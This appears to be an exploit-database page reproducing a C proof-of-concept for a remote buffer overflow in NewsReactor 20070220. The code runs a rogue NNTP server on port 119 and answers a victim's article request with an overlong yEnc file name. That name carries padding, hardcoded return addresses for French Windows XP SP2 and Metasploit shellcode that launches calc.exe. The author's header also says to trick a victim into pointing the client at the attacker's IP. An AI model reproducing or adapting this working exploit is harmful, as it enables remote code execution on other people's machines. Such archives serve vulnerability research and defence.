Lucene search
K

NewsReactor 20070220 Article Grabbing Remote BoF Exploit (1)

🗓️ 15 Mar 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 191 Views

Remote buffer overflow in NewsReactor 20070220 can be triggered by overly long file name. To exploit, convince someone to set newsgroup server to your IP:119 and grab an article

Code

                                                /********************************************************************************
*         NewsReactor 20070220 Article Grabbing Remote Buffer Overflow          *
*                                Exploit 1                                      *
*                                                                               *
*                                                                               *
* There is remote buffer overflow in NewsReactor 20070220 that can be triggered *
* by grabbing articles that contain an overly long file name.                   *
*                                                                               *
* To exploit, convince someone to set his newsgroup server to your ip:119 and   *
* ask him to grab an article (say with a .NZB file).                            *
*                                                                               *
* This exploit waits for incoming connection and then runs calc.exe.            *
*                                                                               *
* Return address should work on XP SP2 FR.                                      *
* Should fail on english systems cause I took the first return address I got =D.*
* Have Fun!                                                                     *
*                                                                               *
* Tested against WIN XP SP2 FR                                                  *
*&nbsp;Coded&nbsp;and&nbsp;Discovered&nbsp;by&nbsp;Marsu&nbsp;<[email protected]>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*
********************************************************************************/



#include&nbsp;\"winsock2.h\"
#include&nbsp;\"stdio.h\"
#include&nbsp;\"time.h\"
#include&nbsp;\"stdlib.h\"
#pragma&nbsp;comment(lib,&nbsp;\"ws2_32.lib\")

/*&nbsp;win32_exec&nbsp;-&nbsp;&nbsp;EXITFUNC=process&nbsp;CMD=calc.exe&nbsp;Size=351&nbsp;Encoder=PexAlphaNum&nbsp;http://metasploit.com&nbsp;*/
/*&nbsp;0x00&nbsp;0x0b&nbsp;0x0c&nbsp;0x0a&nbsp;0x0d&nbsp;0x0e&nbsp;0x0f&nbsp;0x09&nbsp;0x20&nbsp;0x22&nbsp;0x7C&nbsp;*/
char&nbsp;calcshellcode[]&nbsp;=
\"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49\"
\"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36\"
\"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34\"
\"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41\"
\"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44\"
\"x42x30x42x50x42x30x4bx48x45x34x4ex53x4bx58x4ex37\"
\"x45x50x4ax57x41x50x4fx4ex4bx48x4fx34x4ax51x4bx48\"
\"x4fx55x42x52x41x50x4bx4ex49x54x4bx38x46x53x4bx58\"
\"x41x50x50x4ex41x33x42x4cx49x49x4ex4ax46x58x42x4c\"
\"x46x37x47x30x41x4cx4cx4cx4dx30x41x50x44x4cx4bx4e\"
\"x46x4fx4bx53x46x35x46x42x46x30x45x57x45x4ex4bx58\"
\"x4fx45x46x52x41x50x4bx4ex48x36x4bx58x4ex50x4bx44\"
\"x4bx48x4fx55x4ex51x41x50x4bx4ex4bx48x4ex51x4bx48\"
\"x41x50x4bx4ex49x48x4ex45x46x52x46x50x43x4cx41x43\"
\"x42x4cx46x56x4bx48x42x34x42x53x45x48x42x4cx4ax47\"
\"x4ex30x4bx48x42x54x4ex30x4bx58x42x37x4ex51x4dx4a\"
\"x4bx38x4ax46x4ax50x4bx4ex49x30x4bx48x42x48x42x4b\"
\"x42x30x42x50x42x30x4bx48x4ax56x4ex53x4fx35x41x53\"
\"x48x4fx42x46x48x35x49x58x4ax4fx43x48x42x4cx4bx37\"
\"x42x35x4ax56x50x47x4ax4dx44x4ex43x57x4ax56x4ax59\"
\"x50x4fx4cx58x50x50x47x45x4fx4fx47x4ex43x56x41x56\"
\"x4ex56x43x36x50x42x45x56x4ax47x45x36x42x30x5a\";



int&nbsp;main(int&nbsp;argc,&nbsp;char*&nbsp;argv[])
{
	char&nbsp;recvbuff[1024];
	char&nbsp;evilbuff[10000];
	sockaddr_in&nbsp;sin;
	int&nbsp;server,client;
	WSADATA&nbsp;wsaData;
	WSAStartup(MAKEWORD(1,1),&nbsp;&wsaData);

	server&nbsp;=&nbsp;socket(PF_INET,&nbsp;SOCK_STREAM,&nbsp;IPPROTO_TCP);
	sin.sin_family&nbsp;=&nbsp;PF_INET;
	sin.sin_addr.s_addr&nbsp;=&nbsp;htonl(INADDR_ANY);
	sin.sin_port&nbsp;=&nbsp;htons(&nbsp;119&nbsp;);
	bind(server,(SOCKADDR*)&sin,sizeof(sin));
	printf(\"[+]&nbsp;NewsReactor&nbsp;Article&nbsp;Grabbing&nbsp;Remote&nbsp;Buffer&nbsp;Overflow
\");
	printf(\"[+]&nbsp;Coded&nbsp;and&nbsp;Discovered&nbsp;by&nbsp;Marsu&nbsp;<[email protected]>
\");
	printf(\"[*]&nbsp;Listening&nbsp;on&nbsp;port&nbsp;119...
\");
	listen(server,5);
	printf(\"[*]&nbsp;Waiting&nbsp;for&nbsp;client&nbsp;...
\");
	client=accept(server,NULL,NULL);
	printf(\"[+]&nbsp;Client&nbsp;connected
\");
	
	if&nbsp;(send(client,\"200&nbsp;Hello&nbsp;there
\",17,0)==-1)
	{
		printf(\"[-]&nbsp;Error&nbsp;in&nbsp;send!
\");
		exit(-1);
	}

	//BODY&nbsp;article&nbsp;or&nbsp;AUTHINFO&nbsp;user
	memset(recvbuff,0,1024);
	recv(client,recvbuff,1024,0);
	printf(\"->&nbsp;%s
\",recvbuff);
	if&nbsp;(strstr(recvbuff,\"AUTHINFO\"))&nbsp;{
		send(client,\"381&nbsp;Pass&nbsp;please?
\",18,0);

		//authinfo&nbsp;pass
		memset(recvbuff,0,1024);
		recv(client,recvbuff,1024,0);
		printf(\"->&nbsp;%s
\",recvbuff);
		send(client,\"281&nbsp;Pleased&nbsp;to&nbsp;meet&nbsp;you
\",25,0);
	
		//BODY&nbsp;article
		memset(recvbuff,0,1024);
		recv(client,recvbuff,1024,0);
		printf(\"->&nbsp;%s
\",recvbuff);	
	}

	char*&nbsp;postname=(char&nbsp;*)&nbsp;malloc(strlen(recvbuff)*sizeof(char));
	memset(postname,0,100);
	if&nbsp;(!strstr(recvbuff,\"BODY\"))&nbsp;{
		printf(\"[-]&nbsp;BODY&nbsp;were&nbsp;expected.&nbsp;Exploit&nbsp;will&nbsp;fail.
\");
	}
	else&nbsp;{
		memcpy(postname,recvbuff+5,strlen(recvbuff)-5);
		printf(\"[+]&nbsp;Using&nbsp;%s&nbsp;to&nbsp;exploit.
\",postname);
	}
	
char&nbsp;header[]=\"220&nbsp;0&nbsp;\";
char&nbsp;header2[]=
\"&nbsp;article
\"
\"=ybegin&nbsp;part=1&nbsp;line=128&nbsp;size=127&nbsp;name=\"
\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"
\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"
\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"
\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"
\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"
\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"
\"AAAAAAAAAAAAAAAAAAAAAAA\"
\"xD6xE6xE3x77\"&nbsp;//jmp&nbsp;EDI&nbsp;in&nbsp;advapi32.dll&nbsp;XP&nbsp;SP2&nbsp;FR.
\"xD6xE6xE3x77\"&nbsp;//ugly&nbsp;but&nbsp;we&nbsp;don\'t&nbsp;know&nbsp;where&nbsp;we&nbsp;land...
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"&nbsp;
\"xD6xE6xE3x77\"
\"AAAAAAAA\"
\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"
\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"
\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"
\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"
\"AAAAAAAA\";

char&nbsp;end[]=
\"
\"
\"=ypart&nbsp;begin=1&nbsp;end=127
\"
\"BLABLABLA
\"
\"=yend&nbsp;size=127&nbsp;part=1&nbsp;pcrc32=d4f19f0f
\"
\".
\";

	memset(evilbuff,\'A\',10000);
	memcpy(evilbuff,header,strlen(header));
	memcpy(evilbuff+strlen(header),postname,strlen(postname));
	memcpy(evilbuff+strlen(header)+strlen(postname),header2,strlen(header2));
	memcpy(evilbuff+strlen(header)+strlen(postname)+strlen(header2),calcshellcode,strlen(calcshellcode));
	memcpy(evilbuff+strlen(header)+strlen(postname)+strlen(header2)+strlen(calcshellcode)+70,end,strlen(end));
	send(client,evilbuff,strlen(evilbuff),0);
	
	printf(\"[+]&nbsp;Evil&nbsp;data&nbsp;sent.&nbsp;Have&nbsp;fun!
\");
	Sleep(500);
	return&nbsp;0;
	
}

&nbsp;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation